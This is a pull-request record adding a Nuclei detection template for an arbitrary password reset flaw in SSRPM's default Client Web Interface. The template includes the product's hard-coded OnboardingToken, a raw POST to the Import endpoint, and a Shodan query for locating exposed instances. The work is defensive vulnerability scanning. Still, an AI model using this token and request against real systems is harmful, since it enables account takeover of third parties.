Merge pull request #10381 from projectdiscovery/ssrpm-arbitrary-password-reset

Create ssrpm-arbitrary-password-reset.yaml

http/misconfiguration/ssrpm-arbitrary-password-reset.yaml

@@ -0,0 +1,51 @@
+id: ssrpm-arbitrary-password-reset
+
+info:
+  name: SSRPM - Arbitary Password Reset on Default Client Interface Installation
+  author: vince-isec
+  severity: high
+  description: |
+    The default installation of the Client Web Interface, which is provided alongside the COM SSRPM service, defines a hard-coded secret token for the Import endpoint. This endpoint allows registering new accounts or overwriting existing onboarding data for an arbitrary account, which ultimately allows changing the password of an arbitrary account.
+  remediation: Set a new and random value to the OnboardingToken setting. Install the new version of SSRPM and its web interface.
+  reference:
+    - https://www.synacktiv.com/advisories/ssrpm-arbitrary-password-reset-on-default-client-web-interface-installation
+  metadata:
+    shodan-query: http.favicon.hash:-916902413
+    max-request: 1
+    verified: true
+  tags: ssrpm,intrusive
+
+variables:
+  string: "{{to_lower(rand_text_alpha(5))}}"
+
+http:
+  - raw:
+      - |
+        POST /Onboarding/Import HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        OnboardingToken=7e30bebc-d17c-4833-98b6-d4c09e076b24&Action={{string}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"ErrorCode":-55'
+          - '"Success":false'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'application/json'
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: kval
+        kval:
+          - string